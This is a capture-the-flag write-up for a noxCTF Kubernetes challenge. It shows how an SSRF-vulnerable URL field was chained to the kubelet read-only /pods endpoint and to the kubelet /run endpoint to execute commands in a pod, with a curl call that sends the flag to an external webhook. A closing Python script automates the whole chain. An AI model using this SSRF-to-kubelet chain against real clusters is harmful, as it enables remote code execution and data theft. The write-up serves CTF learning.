Challenge by - 5cr0ll, Daniel Sagi


Challenge description: > Swisslock is a new company in the Kubernetes security business. Are they worth it?

First time in the website, we don’t see anything special aside from a textbox and some images.

  • side note: there is an open text box, but you won’t get very far by trying web-related vulnerabilities ;)


After viewing the page source we see that the file is really long, after scrolling to the bottom we see the first hint!

<!-- The captain left something in his /logs -->

So we go to /logs and we come across some logs that the captain has left for us.

[04/Sep/2018 22:00:01] deployed new node on:

[04/Sep/2018 22:30:58] deployed new node on:

[04/Sep/2018 23:08:28] server pod was deployed

[05/Sep/2018 00:08:53] top secret solver pod was deployed

[05/Sep/2018 03:00:20] the captain pod set sail on this ip:

[05/Sep/2018 10:32:07] [WARNING] readonly port

Here’s what we know now:

  • There are 2 nodes with the ip’s and
  • server pod (wtf is this?!) deployed on
  • top secret solver was deployed as well (Very interesting)
  • the captain set sail on this ip: (idk either)
  • warning readonly port (huh?)

To summerize: There is a special lingo that is being used here and with some online reading or some knowledge we know that they are talking about Kubernetes! (something we saw in the pictures in the original webpage)

What caught our attention:
* 2 internal addresses * The top secret and the captain pod * The readonly port

After some reading and thinking we realise that we know nothing and the only thing left is to go look at what is all the fuss about the readonly port.

Now after we have found that the readonly port is related to the kubelet (and more weird k8s internals) related stuff, We discovered that it is the 10255 port, and it has some endpoints.
WOW we have a /pods endpoint! that looks promising!

So by doing the following request:

we will get a list of all of the pods on the system, which is equivalent to running ‘kubectl get pods –all-namespaces’ but
only with a whole lot of extra metadata.

But how do we access this internal IP??

As you can probably could guess by looking, this site is extremely SSRF vulnerable. the textbox gets a url and does not verify it.

But the text box doesn’t give us the output as we expect, it sends a request (GET|POST) and saves an image containing the result.
in order to access it we need to go to
* http:///images/<image-name>

Download that image and we get a base64 representation of the output of the request that we sent to the /pods.

Gathering data about pods

By doing a /pods request to:
We will find the solver and the server pod.
lets try accessing the solver by using it’s ip and open port (as described in the /pods output)
* http://<solver_ip>:1337

We get the following:
> i only get requests from the captain :/

But wait!
At the logs, we saw that the captain pod was deployed on:!
let’s try doing a GET to:
Now we can see the captain pod. but now we need to make it send a request to the solver pod!
But How?

Debug Handlers

After some digging, We find that it is possible to access the 10250 port (with ssl) and by posting to a specific endpoint called: /run, we can run commands inside a container!!!!
We just need to add information about the container/pod. we can get that from the output of /pods.

lets try doing a POST in the text box to this URI:
We managed to get an RCE!


Lets do a POST to: * <solver_ip>:1337

After accessing solver from the captain pod, we can see he wants us to access ‘/flag’
So we do so but he still isn’t happy and he’s asking for a ?webhook=
Lets create a Webhook at: https://webhook.site/
and pass it as a get parameter:
* <solver_ip>:1337/flag?webhook=https://webhook.site/

Checking the webhook reveals the FLAG :medal:

Flag: noxCTF{1_4m_7h3_c4p741n_n0w}

Here is the solution:

import sys
import json
from requests import get

def ssrf_request(url, method="get"):
    r = get("http://{ip}/api/v1/upload?url={url}&method={method}".format(ip=IP, url=url, method=method))
    if r.status_code == 200:
        r = get("http://{ip}/images/{filename}".format(ip=IP, filename=r.text))
        if r.status_code == 200:
            return r.text

pods = json.loads(ssrf_request("http://{}:10255/pods".format(SELF_NODE)))["items"]
solver_pod = filter(lambda x: x["metadata"]["name"] == "solver", pods)[0]
solver_pod_ip = solver_pod["status"]["podIP"]

webhook = "https://webhook.site/4ddd8fbb-11b2-4abf-8cb4-24d439c06f50"
captain_run_path = "https://{}:10250/run/default/captain/captain?cmd={}"
print captain_run_path.format(CAPTAIN_NODE, "curl {solver_ip}:1337/flag?webhook={webhook}".format(solver_ip=solver_pod_ip, webhook=webhook))
print ssrf_request(captain_run_path.format(CAPTAIN_NODE, "curl {solver_ip}:1337/flag?webhook={webhook}".format(solver_ip=solver_pod_ip, webhook=webhook)), method="post")

# pods = json.loads(ssrf_request(""))
# captain_pod = filter(lambda x: x["metadata"]["name"] == "captain", pods["items"])[0]["metadata"]
# captain_run_path = "{}/{}/{}?cmd=".format(captain_pod["namespace"], captain_pod["name"], "captain")
# run/{podNamespace}/{podID}/{containerName}?cmd={cmd}

Overview of the solution: flow